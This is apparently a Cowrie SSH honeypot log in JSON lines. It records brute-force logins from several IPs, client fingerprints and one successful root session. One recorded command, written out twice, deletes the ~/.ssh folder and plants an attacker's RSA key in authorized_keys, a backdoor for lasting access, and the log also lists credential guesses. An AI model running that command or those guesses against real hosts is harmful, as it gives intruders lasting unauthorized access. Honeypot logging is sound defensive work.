{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:24.999613Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:25.510978Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:25.514278Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:25.769451Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:25.773489Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":60476,"dst_ip":"159.203.135.109","dst_port":22,"session":"9821f09d2894","protocol":"ssh","message":"New connection: 160.191.244.236:60476 (159.203.135.109:22) [session: 9821f09d2894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:25.991283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:25.995897Z","src_ip":"160.191.244.236","session":"9821f09d2894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:26.226494Z","src_ip":"160.191.244.236","session":"9821f09d2894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:27.193752Z","src_ip":"160.191.244.236","session":"9821f09d2894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:28.429369Z","src_ip":"160.191.244.236","session":"9821f09d2894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":33058,"dst_ip":"159.203.135.109","dst_port":22,"session":"955818d2a4a9","protocol":"ssh","message":"New connection: 160.191.244.236:33058 (159.203.135.109:22) [session: 955818d2a4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:28.664912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:28.669136Z","src_ip":"160.191.244.236","session":"955818d2a4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:28.900272Z","src_ip":"160.191.244.236","session":"955818d2a4a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:29.870597Z","src_ip":"160.191.244.236","session":"955818d2a4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:30.105739Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:30.109278Z","src_ip":"160.191.244.236","session":"955818d2a4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.148.49.82","src_port":51182,"dst_ip":"159.203.135.109","dst_port":22,"session":"db474572dcbb","protocol":"ssh","message":"New connection: 119.148.49.82:51182 (159.203.135.109:22) [session: db474572dcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:42.327187Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:42.631112Z","src_ip":"119.148.49.82","session":"db474572dcbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58328,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e0941c5d2e3","protocol":"ssh","message":"New connection: 2.57.122.96:58328 (159.203.135.109:22) [session: 1e0941c5d2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:08.546853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:08.551460Z","src_ip":"2.57.122.96","session":"1e0941c5d2e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:08.651502Z","src_ip":"2.57.122.96","session":"1e0941c5d2e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root123","message":"login attempt [sol/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:08.957039Z","src_ip":"2.57.122.96","session":"1e0941c5d2e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:10.064588Z","src_ip":"2.57.122.96","session":"1e0941c5d2e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48108,"dst_ip":"159.203.135.109","dst_port":22,"session":"c358b7008c87","protocol":"ssh","message":"New connection: 193.32.162.145:48108 (159.203.135.109:22) [session: c358b7008c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:41.565881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:41.602955Z","src_ip":"193.32.162.145","session":"c358b7008c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:41.673342Z","src_ip":"193.32.162.145","session":"c358b7008c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:42.070081Z","src_ip":"193.32.162.145","session":"c358b7008c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:38:43.186235Z","src_ip":"193.32.162.145","session":"c358b7008c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":38424,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e29afd66449","protocol":"ssh","message":"New connection: 160.191.244.236:38424 (159.203.135.109:22) [session: 8e29afd66449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:39:30.166600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:39:30.171449Z","src_ip":"160.191.244.236","session":"8e29afd66449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:39:30.416720Z","src_ip":"160.191.244.236","session":"8e29afd66449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blue","password":"blueblue","message":"login attempt [blue/blueblue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:39:31.468119Z","src_ip":"160.191.244.236","session":"8e29afd66449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:39:32.743114Z","src_ip":"160.191.244.236","session":"8e29afd66449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40614,"dst_ip":"159.203.135.109","dst_port":22,"session":"00bd5a1454c4","protocol":"ssh","message":"New connection: 2.57.122.208:40614 (159.203.135.109:22) [session: 00bd5a1454c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:35.834214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:35.932565Z","src_ip":"2.57.122.208","session":"00bd5a1454c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:36.023601Z","src_ip":"2.57.122.208","session":"00bd5a1454c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:36.812715Z","src_ip":"2.57.122.208","session":"00bd5a1454c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:37.939236Z","src_ip":"2.57.122.208","session":"00bd5a1454c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39114,"dst_ip":"159.203.135.109","dst_port":22,"session":"216a74fdea8f","protocol":"ssh","message":"New connection: 193.32.162.145:39114 (159.203.135.109:22) [session: 216a74fdea8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:58.469852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:58.474991Z","src_ip":"193.32.162.145","session":"216a74fdea8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:58.651385Z","src_ip":"193.32.162.145","session":"216a74fdea8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:40:59.016839Z","src_ip":"193.32.162.145","session":"216a74fdea8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:00.119577Z","src_ip":"193.32.162.145","session":"216a74fdea8f","protocol":"ssh"}
